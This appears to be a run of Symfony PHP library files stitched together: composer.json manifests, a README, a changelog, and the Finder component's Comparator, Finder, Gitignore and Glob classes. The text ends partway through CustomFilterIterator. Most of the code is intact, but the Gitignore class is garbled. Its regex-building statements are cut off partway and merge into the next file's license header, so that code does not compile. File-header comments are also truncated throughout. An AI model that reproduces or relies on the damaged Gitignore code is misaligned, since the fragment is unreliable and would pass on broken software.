$errorOutput = new StreamOutput(fopen('php://memory', 'w', false)); $errorOutput->setFormatter($this->output->getFormatter()); $errorOutput->setVerbosity($this->output->getVerbosity()); $errorOutput->setDecorated($this->output->isDecorated()); $reflectedOutput = new \ReflectionObject($this->output); $strErrProperty = $reflectedOutput->getProperty('stderr'); $strErrProperty->setAccessible(true); $strErrProperty->setValue($this->output, $errorOutput); $reflectedParent = $reflectedOutput->getParentClass(); $streamProperty = $reflectedParent->getProperty('stream'); $streamProperty->setAccessible(true); $streamProperty->setValue($this->output, fopen('php://memory', 'w', false)); } } /** * @return resource */ private static function createStream(array $inputs) { $stream = fopen('php://memory', 'r+', false); foreach ($inputs as $input) { fwrite($stream, $input.\PHP_EOL); } rewind($stream); return $stream; } } { "name": "symfony/console", "type": "library", "description": "Eases the creation of beautiful and testable command line interfaces", "keywords": ["console", "cli", "command-line", "terminal"], "homepage": "https://symfony.com", "license": "MIT", "authors": [ { "name": "Fabien Potencier", "email": "fabien@symfony.com" }, { "name": "Symfony Community", "homepage": "https://symfony.com/contributors" } ], "require": { "php": ">=7.2.5", "symfony/deprecation-contracts": "^2.1|^3", "symfony/polyfill-mbstring": "~1.0", "symfony/polyfill-php73": "^1.9", "symfony/polyfill-php80": "^1.16", "symfony/service-contracts": "^1.1|^2|^3", "symfony/string": "^5.1|^6.0" }, "require-dev": { "symfony/config": "^4.4|^5.0|^6.0", "symfony/event-dispatcher": "^4.4|^5.0|^6.0", "symfony/dependency-injection": "^4.4|^5.0|^6.0", "symfony/lock": "^4.4|^5.0|^6.0", "symfony/process": "^4.4|^5.0|^6.0", "symfony/var-dumper": "^4.4|^5.0|^6.0", "psr/log": "^1|^2" }, "provide": { "psr/log-implementation": "1.0|2.0" }, "suggest": { "symfony/event-dispatcher": "", "symfony/lock": "", "symfony/process": "", "psr/log": "For using the console logger" }, "conflict": { "psr/log": ">=3", "symfony/dependency-injection": "<4.4", "symfony/dotenv": "<5.1", "symfony/event-dispatcher": "<4.4", "symfony/lock": "<4.4", "symfony/process": "<4.4" }, "autoload": { "psr-4": { "Symfony\\Component\\Console\\": "" }, "exclude-from-classmap": [ "/Tests/" ] }, "minimum-stability": "dev" } CHANGELOG ========= The changelog is maintained for all Symfony contracts at the following URL: https://github.com/symfony/contracts/blob/main/CHANGELOG.md Copyright (c) 2020-present Fabien Potencier Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. Symfony Deprecation Contracts ============================= A generic function and convention to trigger deprecation notices. This package provides a single global function named `trigger_deprecation()` that triggers silenced deprecation notices. By using a custom PHP error handler such as the one provided by the Symfony ErrorHandler component, the triggered deprecations can be caught and logged for later discovery, both on dev and prod environments. The function requires at least 3 arguments: - the name of the Composer package that is triggering the deprecation - the version of the package that introduced the deprecation - the message of the deprecation - more arguments can be provided: they will be inserted in the message using `printf()` formatting Example: ```php trigger_deprecation('symfony/blockchain', '8.9', 'Using "%s" is deprecated, use "%s" instead.', 'bitcoin', 'fabcoin'); ``` This will generate the following message: `Since symfony/blockchain 8.9: Using "bitcoin" is deprecated, use "fabcoin" instead.` While not recommended, the deprecation notices can be completely ignored by declaring an empty `function trigger_deprecation() {}` in your application. { "name": "symfony/deprecation-contracts", "type": "library", "description": "A generic function and convention to trigger deprecation notices", "homepage": "https://symfony.com", "license": "MIT", "authors": [ { "name": "Nicolas Grekas", "email": "p@tchwork.com" }, { "name": "Symfony Community", "homepage": "https://symfony.com/contributors" } ], "require": { "php": ">=8.1" }, "autoload": { "files": [ "function.php" ] }, "minimum-stability": "dev", "extra": { "branch-alias": { "dev-main": "3.6-dev" }, "thanks": { "name": "symfony/contracts", "url": "https://github.com/symfony/contracts" } } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ if (!function_exists('trigger_deprecation')) { /** * Triggers a silenced deprecation notice. * * @param string $package The name of the Composer package that is triggering the deprecation * @param string $version The version of the package that introduced the deprecation * @param string $message The message of the deprecation * @param mixed ...$args Values to insert in the message using printf() formatting * * @author Nicolas Grekas */ function trigger_deprecation(string $package, string $version, string $message, mixed ...$args): void { @trigger_error(($package || $version ? "Since $package $version: " : '').($args ? vsprintf($message, $args) : $message), \E_USER_DEPRECATED); } } CHANGELOG ========= 6.4 --- * Add early directory pruning to `Finder::filter()` 6.2 --- * Add `Finder::sortByExtension()` and `Finder::sortBySize()` * Add `Finder::sortByCaseInsensitiveName()` to sort by name with case insensitive sorting methods 6.0 --- * Remove `Comparator::setTarget()` and `Comparator::setOperator()` 5.4.0 ----- * Deprecate `Comparator::setTarget()` and `Comparator::setOperator()` * Add a constructor to `Comparator` that allows setting target and operator * Finder's iterator has now `Symfony\Component\Finder\SplFileInfo` inner type specified * Add recursive .gitignore files support 5.0.0 ----- * added `$useNaturalSort` argument to `Finder::sortByName()` 4.3.0 ----- * added Finder::ignoreVCSIgnored() to ignore files based on rules listed in .gitignore 4.2.0 ----- * added $useNaturalSort option to Finder::sortByName() method * the `Finder::sortByName()` method will have a new `$useNaturalSort` argument in version 5.0, not defining it is deprecated * added `Finder::reverseSorting()` to reverse the sorting 4.0.0 ----- * removed `ExceptionInterface` * removed `Symfony\Component\Finder\Iterator\FilterIterator` 3.4.0 ----- * deprecated `Symfony\Component\Finder\Iterator\FilterIterator` * added Finder::hasResults() method to check if any results were found 3.3.0 ----- * added double-star matching to Glob::toRegex() 3.0.0 ----- * removed deprecated classes 2.8.0 ----- * deprecated adapters and related classes 2.5.0 ----- * added support for GLOB_BRACE in the paths passed to Finder::in() 2.3.0 ----- * added a way to ignore unreadable directories (via Finder::ignoreUnreadableDirs()) * unified the way subfolders that are not executable are handled by always throwing an AccessDeniedException exception 2.2.0 ----- * added Finder::path() and Finder::notPath() methods * added finder adapters to improve performance on specific platforms * added support for wildcard characters (glob patterns) in the paths passed to Finder::in() 2.1.0 ----- * added Finder::sortByAccessedTime(), Finder::sortByChangedTime(), and Finder::sortByModifiedTime() * added Countable to Finder * added support for an array of directories as an argument to Finder::exclude() * added searching based on the file content via Finder::contains() and Finder::notContains() * added support for the != operator in the Comparator * [BC BREAK] filter expressions (used for file name and content) are no more considered as regexps but glob patterns when they are enclosed in '*' or '?' * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Finder\Comparator; /** * @author Fabien Potencier */ class Comparator { private string $target; private string $operator; public function __construct(string $target, string $operator = '==') { if (!\in_array($operator, ['>', '<', '>=', '<=', '==', '!='])) { throw new \InvalidArgumentException(\sprintf('Invalid operator "%s".', $operator)); } $this->target = $target; $this->operator = $operator; } /** * Gets the target value. */ public function getTarget(): string { return $this->target; } /** * Gets the comparison operator. */ public function getOperator(): string { return $this->operator; } /** * Tests against the target. */ public function test(mixed $test): bool { return match ($this->operator) { '>' => $test > $this->target, '>=' => $test >= $this->target, '<' => $test < $this->target, '<=' => $test <= $this->target, '!=' => $test != $this->target, default => $test == $this->target, }; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Finder\Comparator; /** * DateCompare compiles date comparisons. * * @author Fabien Potencier */ class DateComparator extends Comparator { /** * @param string $test A comparison string * * @throws \InvalidArgumentException If the test is not understood */ public function __construct(string $test) { if (!preg_match('#^\s*(==|!=|[<>]=?|after|since|before|until)?\s*(.+?)\s*$#i', $test, $matches)) { throw new \InvalidArgumentException(\sprintf('Don\'t understand "%s" as a date test.', $test)); } try { $date = new \DateTimeImmutable($matches[2]); $target = $date->format('U'); } catch (\Exception) { throw new \InvalidArgumentException(\sprintf('"%s" is not a valid date.', $matches[2])); } $operator = $matches[1] ?: '=='; if ('since' === $operator || 'after' === $operator) { $operator = '>'; } if ('until' === $operator || 'before' === $operator) { $operator = '<'; } parent::__construct($target, $operator); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Finder\Comparator; /** * NumberComparator compiles a simple comparison to an anonymous * subroutine, which you can call with a value to be tested again. * * Now this would be very pointless, if NumberCompare didn't understand * magnitudes. * * The target value may use magnitudes of kilobytes (k, ki), * megabytes (m, mi), or gigabytes (g, gi). Those suffixed * with an i use the appropriate 2**n version in accordance with the * IEC standard: http://physics.nist.gov/cuu/Units/binary.html * * Based on the Perl Number::Compare module. * * @author Fabien Potencier PHP port * @author Richard Clamp Perl version * @copyright 2004-2005 Fabien Potencier * @copyright 2002 Richard Clamp * * @see http://physics.nist.gov/cuu/Units/binary.html */ class NumberComparator extends Comparator { /** * @param string|null $test A comparison string or null * * @throws \InvalidArgumentException If the test is not understood */ public function __construct(?string $test) { if (null === $test || !preg_match('#^\s*(==|!=|[<>]=?)?\s*([0-9\.]+)\s*([kmg]i?)?\s*$#i', $test, $matches)) { throw new \InvalidArgumentException(\sprintf('Don\'t understand "%s" as a number test.', $test ?? 'null')); } $target = $matches[2]; if (!is_numeric($target)) { throw new \InvalidArgumentException(\sprintf('Invalid number "%s".', $target)); } if (isset($matches[3])) { // magnitude switch (strtolower($matches[3])) { case 'k': $target *= 1000; break; case 'ki': $target *= 1024; break; case 'm': $target *= 1000000; break; case 'mi': $target *= 1024 * 1024; break; case 'g': $target *= 1000000000; break; case 'gi': $target *= 1024 * 1024 * 1024; break; } } parent::__construct($target, $matches[1] ?: '=='); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Finder\Exception; /** * @author Jean-François Simon */ class AccessDeniedException extends \UnexpectedValueException { } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Finder\Exception; /** * @author Andreas Erhard */ class DirectoryNotFoundException extends \InvalidArgumentException { } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Finder; use Symfony\Component\Finder\Comparator\DateComparator; use Symfony\Component\Finder\Comparator\NumberComparator; use Symfony\Component\Finder\Exception\DirectoryNotFoundException; use Symfony\Component\Finder\Iterator\CustomFilterIterator; use Symfony\Component\Finder\Iterator\DateRangeFilterIterator; use Symfony\Component\Finder\Iterator\DepthRangeFilterIterator; use Symfony\Component\Finder\Iterator\ExcludeDirectoryFilterIterator; use Symfony\Component\Finder\Iterator\FilecontentFilterIterator; use Symfony\Component\Finder\Iterator\FilenameFilterIterator; use Symfony\Component\Finder\Iterator\LazyIterator; use Symfony\Component\Finder\Iterator\SizeRangeFilterIterator; use Symfony\Component\Finder\Iterator\SortableIterator; /** * Finder allows to build rules to find files and directories. * * It is a thin wrapper around several specialized iterator classes. * * All rules may be invoked several times. * * All methods return the current Finder object to allow chaining: * * $finder = Finder::create()->files()->name('*.php')->in(__DIR__); * * @author Fabien Potencier * * @implements \IteratorAggregate */ class Finder implements \IteratorAggregate, \Countable { public const IGNORE_VCS_FILES = 1; public const IGNORE_DOT_FILES = 2; public const IGNORE_VCS_IGNORED_FILES = 4; private int $mode = 0; private array $names = []; private array $notNames = []; private array $exclude = []; private array $filters = []; private array $pruneFilters = []; private array $depths = []; private array $sizes = []; private bool $followLinks = false; private bool $reverseSorting = false; private \Closure|int|false $sort = false; private int $ignore = 0; private array $dirs = []; private array $dates = []; private array $iterators = []; private array $contains = []; private array $notContains = []; private array $paths = []; private array $notPaths = []; private bool $ignoreUnreadableDirs = false; private static array $vcsPatterns = ['.svn', '_svn', 'CVS', '_darcs', '.arch-params', '.monotone', '.bzr', '.git', '.hg']; public function __construct() { $this->ignore = static::IGNORE_VCS_FILES | static::IGNORE_DOT_FILES; } /** * Creates a new Finder. */ public static function create(): static { return new static(); } /** * Restricts the matching to directories only. * * @return $this */ public function directories(): static { $this->mode = Iterator\FileTypeFilterIterator::ONLY_DIRECTORIES; return $this; } /** * Restricts the matching to files only. * * @return $this */ public function files(): static { $this->mode = Iterator\FileTypeFilterIterator::ONLY_FILES; return $this; } /** * Adds tests for the directory depth. * * Usage: * * $finder->depth('> 1') // the Finder will start matching at level 1. * $finder->depth('< 3') // the Finder will descend at most 3 levels of directories below the starting point. * $finder->depth(['>= 1', '< 3']) * * @param string|int|string[]|int[] $levels The depth level expression or an array of depth levels * * @return $this * * @see DepthRangeFilterIterator * @see NumberComparator */ public function depth(string|int|array $levels): static { foreach ((array) $levels as $level) { $this->depths[] = new NumberComparator($level); } return $this; } /** * Adds tests for file dates (last modified). * * The date must be something that strtotime() is able to parse: * * $finder->date('since yesterday'); * $finder->date('until 2 days ago'); * $finder->date('> now - 2 hours'); * $finder->date('>= 2005-10-15'); * $finder->date(['>= 2005-10-15', '<= 2006-05-27']); * * @param string|string[] $dates A date range string or an array of date ranges * * @return $this * * @see strtotime * @see DateRangeFilterIterator * @see DateComparator */ public function date(string|array $dates): static { foreach ((array) $dates as $date) { $this->dates[] = new DateComparator($date); } return $this; } /** * Adds rules that files must match. * * You can use patterns (delimited with / sign), globs or simple strings. * * $finder->name('/\.php$/') * $finder->name('*.php') // same as above, without dot files * $finder->name('test.php') * $finder->name(['test.py', 'test.php']) * * @param string|string[] $patterns A pattern (a regexp, a glob, or a string) or an array of patterns * * @return $this * * @see FilenameFilterIterator */ public function name(string|array $patterns): static { $this->names = array_merge($this->names, (array) $patterns); return $this; } /** * Adds rules that files must not match. * * @param string|string[] $patterns A pattern (a regexp, a glob, or a string) or an array of patterns * * @return $this * * @see FilenameFilterIterator */ public function notName(string|array $patterns): static { $this->notNames = array_merge($this->notNames, (array) $patterns); return $this; } /** * Adds tests that file contents must match. * * Strings or PCRE patterns can be used: * * $finder->contains('Lorem ipsum') * $finder->contains('/Lorem ipsum/i') * $finder->contains(['dolor', '/ipsum/i']) * * @param string|string[] $patterns A pattern (string or regexp) or an array of patterns * * @return $this * * @see FilecontentFilterIterator */ public function contains(string|array $patterns): static { $this->contains = array_merge($this->contains, (array) $patterns); return $this; } /** * Adds tests that file contents must not match. * * Strings or PCRE patterns can be used: * * $finder->notContains('Lorem ipsum') * $finder->notContains('/Lorem ipsum/i') * $finder->notContains(['lorem', '/dolor/i']) * * @param string|string[] $patterns A pattern (string or regexp) or an array of patterns * * @return $this * * @see FilecontentFilterIterator */ public function notContains(string|array $patterns): static { $this->notContains = array_merge($this->notContains, (array) $patterns); return $this; } /** * Adds rules that filenames must match. * * You can use patterns (delimited with / sign) or simple strings. * * $finder->path('some/special/dir') * $finder->path('/some\/special\/dir/') // same as above * $finder->path(['some dir', 'another/dir']) * * Use only / as dirname separator. * * @param string|string[] $patterns A pattern (a regexp or a string) or an array of patterns * * @return $this * * @see FilenameFilterIterator */ public function path(string|array $patterns): static { $this->paths = array_merge($this->paths, (array) $patterns); return $this; } /** * Adds rules that filenames must not match. * * You can use patterns (delimited with / sign) or simple strings. * * $finder->notPath('some/special/dir') * $finder->notPath('/some\/special\/dir/') // same as above * $finder->notPath(['some/file.txt', 'another/file.log']) * * Use only / as dirname separator. * * @param string|string[] $patterns A pattern (a regexp or a string) or an array of patterns * * @return $this * * @see FilenameFilterIterator */ public function notPath(string|array $patterns): static { $this->notPaths = array_merge($this->notPaths, (array) $patterns); return $this; } /** * Adds tests for file sizes. * * $finder->size('> 10K'); * $finder->size('<= 1Ki'); * $finder->size(4); * $finder->size(['> 10K', '< 20K']) * * @param string|int|string[]|int[] $sizes A size range string or an integer or an array of size ranges * * @return $this * * @see SizeRangeFilterIterator * @see NumberComparator */ public function size(string|int|array $sizes): static { foreach ((array) $sizes as $size) { $this->sizes[] = new NumberComparator($size); } return $this; } /** * Excludes directories. * * Directories passed as argument must be relative to the ones defined with the `in()` method. For example: * * $finder->in(__DIR__)->exclude('ruby'); * * @param string|array $dirs A directory path or an array of directories * * @return $this * * @see ExcludeDirectoryFilterIterator */ public function exclude(string|array $dirs): static { $this->exclude = array_merge($this->exclude, (array) $dirs); return $this; } /** * Excludes "hidden" directories and files (starting with a dot). * * This option is enabled by default. * * @return $this * * @see ExcludeDirectoryFilterIterator */ public function ignoreDotFiles(bool $ignoreDotFiles): static { if ($ignoreDotFiles) { $this->ignore |= static::IGNORE_DOT_FILES; } else { $this->ignore &= ~static::IGNORE_DOT_FILES; } return $this; } /** * Forces the finder to ignore version control directories. * * This option is enabled by default. * * @return $this * * @see ExcludeDirectoryFilterIterator */ public function ignoreVCS(bool $ignoreVCS): static { if ($ignoreVCS) { $this->ignore |= static::IGNORE_VCS_FILES; } else { $this->ignore &= ~static::IGNORE_VCS_FILES; } return $this; } /** * Forces Finder to obey .gitignore and ignore files based on rules listed there. * * This option is disabled by default. * * @return $this */ public function ignoreVCSIgnored(bool $ignoreVCSIgnored): static { if ($ignoreVCSIgnored) { $this->ignore |= static::IGNORE_VCS_IGNORED_FILES; } else { $this->ignore &= ~static::IGNORE_VCS_IGNORED_FILES; } return $this; } /** * Adds VCS patterns. * * @see ignoreVCS() * * @param string|string[] $pattern VCS patterns to ignore * * @return void */ public static function addVCSPattern(string|array $pattern) { foreach ((array) $pattern as $p) { self::$vcsPatterns[] = $p; } self::$vcsPatterns = array_unique(self::$vcsPatterns); } /** * Sorts files and directories by an anonymous function. * * The anonymous function receives two \SplFileInfo instances to compare. * * This can be slow as all the matching files and directories must be retrieved for comparison. * * @return $this * * @see SortableIterator */ public function sort(\Closure $closure): static { $this->sort = $closure; return $this; } /** * Sorts files and directories by extension. * * This can be slow as all the matching files and directories must be retrieved for comparison. * * @return $this * * @see SortableIterator */ public function sortByExtension(): static { $this->sort = SortableIterator::SORT_BY_EXTENSION; return $this; } /** * Sorts files and directories by name. * * This can be slow as all the matching files and directories must be retrieved for comparison. * * @return $this * * @see SortableIterator */ public function sortByName(bool $useNaturalSort = false): static { $this->sort = $useNaturalSort ? SortableIterator::SORT_BY_NAME_NATURAL : SortableIterator::SORT_BY_NAME; return $this; } /** * Sorts files and directories by name case insensitive. * * This can be slow as all the matching files and directories must be retrieved for comparison. * * @return $this * * @see SortableIterator */ public function sortByCaseInsensitiveName(bool $useNaturalSort = false): static { $this->sort = $useNaturalSort ? SortableIterator::SORT_BY_NAME_NATURAL_CASE_INSENSITIVE : SortableIterator::SORT_BY_NAME_CASE_INSENSITIVE; return $this; } /** * Sorts files and directories by size. * * This can be slow as all the matching files and directories must be retrieved for comparison. * * @return $this * * @see SortableIterator */ public function sortBySize(): static { $this->sort = SortableIterator::SORT_BY_SIZE; return $this; } /** * Sorts files and directories by type (directories before files), then by name. * * This can be slow as all the matching files and directories must be retrieved for comparison. * * @return $this * * @see SortableIterator */ public function sortByType(): static { $this->sort = SortableIterator::SORT_BY_TYPE; return $this; } /** * Sorts files and directories by the last accessed time. * * This is the time that the file was last accessed, read or written to. * * This can be slow as all the matching files and directories must be retrieved for comparison. * * @return $this * * @see SortableIterator */ public function sortByAccessedTime(): static { $this->sort = SortableIterator::SORT_BY_ACCESSED_TIME; return $this; } /** * Reverses the sorting. * * @return $this */ public function reverseSorting(): static { $this->reverseSorting = true; return $this; } /** * Sorts files and directories by the last inode changed time. * * This is the time that the inode information was last modified (permissions, owner, group or other metadata). * * On Windows, since inode is not available, changed time is actually the file creation time. * * This can be slow as all the matching files and directories must be retrieved for comparison. * * @return $this * * @see SortableIterator */ public function sortByChangedTime(): static { $this->sort = SortableIterator::SORT_BY_CHANGED_TIME; return $this; } /** * Sorts files and directories by the last modified time. * * This is the last time the actual contents of the file were last modified. * * This can be slow as all the matching files and directories must be retrieved for comparison. * * @return $this * * @see SortableIterator */ public function sortByModifiedTime(): static { $this->sort = SortableIterator::SORT_BY_MODIFIED_TIME; return $this; } /** * Filters the iterator with an anonymous function. * * The anonymous function receives a \SplFileInfo and must return false * to remove files. * * @param \Closure(SplFileInfo): bool $closure * @param bool $prune Whether to skip traversing directories further * * @return $this * * @see CustomFilterIterator */ public function filter(\Closure $closure /* , bool $prune = false */): static { $prune = 1 < \func_num_args() ? func_get_arg(1) : false; $this->filters[] = $closure; if ($prune) { $this->pruneFilters[] = $closure; } return $this; } /** * Forces the following of symlinks. * * @return $this */ public function followLinks(): static { $this->followLinks = true; return $this; } /** * Tells finder to ignore unreadable directories. * * By default, scanning unreadable directories content throws an AccessDeniedException. * * @return $this */ public function ignoreUnreadableDirs(bool $ignore = true): static { $this->ignoreUnreadableDirs = $ignore; return $this; } /** * Searches files and directories which match defined rules. * * @param string|string[] $dirs A directory path or an array of directories * * @return $this * * @throws DirectoryNotFoundException if one of the directories does not exist */ public function in(string|array $dirs): static { $resolvedDirs = []; foreach ((array) $dirs as $dir) { if (is_dir($dir)) { $resolvedDirs[] = [$this->normalizeDir($dir)]; } elseif ($glob = glob($dir, (\defined('GLOB_BRACE') ? \GLOB_BRACE : 0) | \GLOB_ONLYDIR | \GLOB_NOSORT)) { sort($glob); $resolvedDirs[] = array_map($this->normalizeDir(...), $glob); } else { throw new DirectoryNotFoundException(\sprintf('The "%s" directory does not exist.', $dir)); } } $this->dirs = array_merge($this->dirs, ...$resolvedDirs); return $this; } /** * Returns an Iterator for the current Finder configuration. * * This method implements the IteratorAggregate interface. * * @return \Iterator * * @throws \LogicException if the in() method has not been called */ public function getIterator(): \Iterator { if (0 === \count($this->dirs) && 0 === \count($this->iterators)) { throw new \LogicException('You must call one of in() or append() methods before iterating over a Finder.'); } if (1 === \count($this->dirs) && 0 === \count($this->iterators)) { $iterator = $this->searchInDirectory($this->dirs[0]); if ($this->sort || $this->reverseSorting) { $iterator = (new SortableIterator($iterator, $this->sort, $this->reverseSorting))->getIterator(); } return $iterator; } $iterator = new \AppendIterator(); foreach ($this->dirs as $dir) { $iterator->append(new \IteratorIterator(new LazyIterator(fn () => $this->searchInDirectory($dir)))); } foreach ($this->iterators as $it) { $iterator->append($it); } if ($this->sort || $this->reverseSorting) { $iterator = (new SortableIterator($iterator, $this->sort, $this->reverseSorting))->getIterator(); } return $iterator; } /** * Appends an existing set of files/directories to the finder. * * The set can be another Finder, an Iterator, an IteratorAggregate, or even a plain array. * * @return $this * * @throws \InvalidArgumentException when the given argument is not iterable */ public function append(iterable $iterator): static { if ($iterator instanceof \IteratorAggregate) { $this->iterators[] = $iterator->getIterator(); } elseif ($iterator instanceof \Iterator) { $this->iterators[] = $iterator; } elseif (is_iterable($iterator)) { $it = new \ArrayIterator(); foreach ($iterator as $file) { $file = $file instanceof \SplFileInfo ? $file : new \SplFileInfo($file); $it[$file->getPathname()] = $file; } $this->iterators[] = $it; } else { throw new \InvalidArgumentException('Finder::append() method wrong argument type.'); } return $this; } /** * Check if any results were found. */ public function hasResults(): bool { foreach ($this->getIterator() as $_) { return true; } return false; } /** * Counts all the results collected by the iterators. */ public function count(): int { return iterator_count($this->getIterator()); } private function searchInDirectory(string $dir): \Iterator { $exclude = $this->exclude; $notPaths = $this->notPaths; if ($this->pruneFilters) { $exclude = array_merge($exclude, $this->pruneFilters); } if (static::IGNORE_VCS_FILES === (static::IGNORE_VCS_FILES & $this->ignore)) { $exclude = array_merge($exclude, self::$vcsPatterns); } if (static::IGNORE_DOT_FILES === (static::IGNORE_DOT_FILES & $this->ignore)) { $notPaths[] = '#(^|/)\..+(/|$)#'; } $minDepth = 0; $maxDepth = \PHP_INT_MAX; foreach ($this->depths as $comparator) { switch ($comparator->getOperator()) { case '>': $minDepth = $comparator->getTarget() + 1; break; case '>=': $minDepth = $comparator->getTarget(); break; case '<': $maxDepth = $comparator->getTarget() - 1; break; case '<=': $maxDepth = $comparator->getTarget(); break; default: $minDepth = $maxDepth = $comparator->getTarget(); } } $flags = \RecursiveDirectoryIterator::SKIP_DOTS; if ($this->followLinks) { $flags |= \RecursiveDirectoryIterator::FOLLOW_SYMLINKS; } $iterator = new Iterator\RecursiveDirectoryIterator($dir, $flags, $this->ignoreUnreadableDirs); if ($exclude) { $iterator = new ExcludeDirectoryFilterIterator($iterator, $exclude); } $iterator = new \RecursiveIteratorIterator($iterator, \RecursiveIteratorIterator::SELF_FIRST); if ($minDepth > 0 || $maxDepth < \PHP_INT_MAX) { $iterator = new DepthRangeFilterIterator($iterator, $minDepth, $maxDepth); } if ($this->mode) { $iterator = new Iterator\FileTypeFilterIterator($iterator, $this->mode); } if ($this->names || $this->notNames) { $iterator = new FilenameFilterIterator($iterator, $this->names, $this->notNames); } if ($this->contains || $this->notContains) { $iterator = new FilecontentFilterIterator($iterator, $this->contains, $this->notContains); } if ($this->sizes) { $iterator = new SizeRangeFilterIterator($iterator, $this->sizes); } if ($this->dates) { $iterator = new DateRangeFilterIterator($iterator, $this->dates); } if ($this->filters) { $iterator = new CustomFilterIterator($iterator, $this->filters); } if ($this->paths || $notPaths) { $iterator = new Iterator\PathFilterIterator($iterator, $this->paths, $notPaths); } if (static::IGNORE_VCS_IGNORED_FILES === (static::IGNORE_VCS_IGNORED_FILES & $this->ignore)) { $iterator = new Iterator\VcsIgnoredFilterIterator($iterator, $dir); } return $iterator; } /** * Normalizes given directory names by removing trailing slashes. * * Excluding: (s)ftp:// or ssh2.(s)ftp:// wrapper */ private function normalizeDir(string $dir): string { if ('/' === $dir) { return $dir; } $dir = rtrim($dir, '/'.\DIRECTORY_SEPARATOR); if (preg_match('#^(ssh2\.)?s?ftp://#', $dir)) { $dir .= '/'; } return $dir; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Finder; /** * Gitignore matches against text. * * @author Michael Voříšek * @author Ahmed Abdou */ class Gitignore { /** * Returns a regexp which is the equivalent of the gitignore pattern. * * Format specification: https://git-scm.com/docs/gitignore#_pattern_format */ public static function toRegex(string $gitignoreFileContent): string { return self::buildRegex($gitignoreFileContent, false); } public static function toRegexMatchingNegatedPatterns(string $gitignoreFileContent): string { return self::buildRegex($gitignoreFileContent, true); } private static function buildRegex(string $gitignoreFileContent, bool $inverted): string { $gitignoreFileContent = preg_replace('~(? '['.('' !== $matches[1] ? '^' : '').str_replace('\\-', '-', $matches[2]).']', $regex); $regex = preg_replace('~(?:(?:\\\\\*){2,}(/?))+~', '(?:(?:(?!//).(? * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Finder; /** * Glob matches globbing patterns against text. * * if match_glob("foo.*", "foo.bar") echo "matched\n"; * * // prints foo.bar and foo.baz * $regex = glob_to_regex("foo.*"); * for (['foo.bar', 'foo.baz', 'foo', 'bar'] as $t) * { * if (/$regex/) echo "matched: $car\n"; * } * * Glob implements glob(3) style matching that can be used to match * against text, rather than fetching names from a filesystem. * * Based on the Perl Text::Glob module. * * @author Fabien Potencier PHP port * @author Richard Clamp Perl version * @copyright 2004-2005 Fabien Potencier * @copyright 2002 Richard Clamp */ class Glob { /** * Returns a regexp which is the equivalent of the glob pattern. */ public static function toRegex(string $glob, bool $strictLeadingDot = true, bool $strictWildcardSlash = true, string $delimiter = '#'): string { $firstByte = true; $escaping = false; $inCurlies = 0; $regex = ''; $sizeGlob = \strlen($glob); for ($i = 0; $i < $sizeGlob; ++$i) { $car = $glob[$i]; if ($firstByte && $strictLeadingDot && '.' !== $car) { $regex .= '(?=[^\.])'; } $firstByte = '/' === $car; if ($firstByte && $strictWildcardSlash && isset($glob[$i + 2]) && '**' === $glob[$i + 1].$glob[$i + 2] && (!isset($glob[$i + 3]) || '/' === $glob[$i + 3])) { $car = '[^/]++/'; if (!isset($glob[$i + 3])) { $car .= '?'; } if ($strictLeadingDot) { $car = '(?=[^\.])'.$car; } $car = '/(?:'.$car.')*'; $i += 2 + isset($glob[$i + 3]); if ('/' === $delimiter) { $car = str_replace('/', '\\/', $car); } } if ($delimiter === $car || '.' === $car || '(' === $car || ')' === $car || '|' === $car || '+' === $car || '^' === $car || '$' === $car) { $regex .= "\\$car"; } elseif ('*' === $car) { $regex .= $escaping ? '\\*' : ($strictWildcardSlash ? '[^/]*' : '.*'); } elseif ('?' === $car) { $regex .= $escaping ? '\\?' : ($strictWildcardSlash ? '[^/]' : '.'); } elseif ('{' === $car) { $regex .= $escaping ? '\\{' : '('; if (!$escaping) { ++$inCurlies; } } elseif ('}' === $car && $inCurlies) { $regex .= $escaping ? '}' : ')'; if (!$escaping) { --$inCurlies; } } elseif (',' === $car && $inCurlies) { $regex .= $escaping ? ',' : '|'; } elseif ('\\' === $car) { if ($escaping) { $regex .= '\\\\'; $escaping = false; } else { $escaping = true; } continue; } else { $regex .= $car; } $escaping = false; } return $delimiter.'^'.$regex.'$'.$delimiter; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Finder\Iterator; /** * CustomFilterIterator filters files by applying anonymous functions. * * The anonymous function receives a \SplFileInfo and must return false * to remove files. * * @author Fabien Potencier * * @extends \FilterIterator */ class CustomFilterIterator extends \FilterIterator { private array $filters = []; /** * @param \Iterator $iterator The Iterator to filter * @param callable[] $filters An array of PHP callbacks * * @throws \InvalidArgumentException */ public function __construct(\Iterator $iterator, array $filters) { foreach ($filters as $filter) { if (!\is_callable($filter)) { throw new \InvalidArgumentException('Invalid PHP callback.'); } } $this->filters = $filters; parent::__construct($iterator); } /** * Filters the iterator values. */ public function accept(): bool { $fileinfo = $this->current(); foreach ($this->filters as $filter) 